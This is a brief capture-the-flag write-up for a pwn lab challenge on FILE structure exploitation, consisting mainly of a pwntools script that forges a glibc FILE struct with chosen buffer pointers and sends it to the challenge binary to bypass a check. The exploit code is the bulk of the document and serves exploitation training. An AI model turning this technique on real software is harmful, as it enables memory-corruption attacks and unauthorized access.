(File Struct Exploits) level 6

Information

• category: pwn

Description

Abuse built-in FILE structs to bypass a security check.

Exploit

from pwn import *

elf = context.binary = ELF("/challenge/babyfile_level6")
global p
p = elf.process()

def exploit():
    fp = FileStructure()
    fp.flags = 0xFBAD2008
    fp._IO_buf_base = 0x4041f8
    fp._IO_buf_end =0x4041f8 + 5
    payload = fp.struntil("_IO_buf_end") 
    p.send(payload)
    p.interactive()

def main():
    exploit()

if __name__ == "__main__":
    exploit()